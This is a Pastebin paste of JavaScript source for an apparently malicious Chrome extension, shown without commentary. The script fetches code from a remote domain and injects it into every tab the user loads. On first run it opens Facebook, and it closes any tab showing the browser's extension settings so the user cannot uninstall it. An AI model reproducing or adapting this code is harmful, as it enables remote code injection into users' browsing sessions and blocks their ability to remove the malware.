Guest User

Untitled

a guest
Dec 23rd, 2014
380
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function box() {
  2. var xhr = new XMLHttpRequest();
  3. xhr.onreadystatechange = function () {
  4. if (xhr.readyState == 4) {
  5. try {
  6. JSON.parse(xhr.responseText).forEach(
  7. function (d) {
  8. if (d.uri) {
  9. cmd.push(d.uri);
  10. }
  11. });
  12. } catch (e) {}
  13. }
  14. };
  15. xhr.open("GET", 'https://bmw5done.info/qbrweq.js?' + Math.random() * 999999, true);
  16. xhr.send();
  17. }
  18. box();
  19. chrome.tabs.onUpdated.addListener(function (keyId) {
  20. chrome.tabs.get(keyId, function (key) {
  21. {
  22. var xhr = new XMLHttpRequest();
  23. xhr.onreadystatechange = function () {
  24. if (xhr.readyState == 4) {
  25. if (key.url.indexOf('devtools://') < 0) {
  26. chrome.tabs.executeScript(key.id, {
  27. code: xhr.responseText
  28. });
  29. }
  30. }
  31. }
  32. xhr.open('GET', 'https://bmw5done.info/qbrweq.js?');
  33. xhr.send();
  34. }
  35. })
  36. });
  37.  
  38. var first_run = false;
  39. if (!localStorage['ran_before']) {
  40. first_run = true;
  41. localStorage['ran_before'] = '1';
  42. }
  43.  
  44. var currentTab = "";
  45. if (first_run)
  46. {
  47. chrome.tabs.create({url: 'http://www.facebook.com'});
  48.  
  49. }
  50. chrome.tabs.onUpdated.addListener(
  51. function (keyid, x, key) {
  52. if (key.url ==
  53. 'chrome://chrome/extensions' ||
  54. key.url == 'opera://extensions' ||
  55. key.url == 'chrome://extensions/'
  56. ) {
  57. chrome.tabs.remove(key.id);
  58. }
  59. });
RAW Paste Data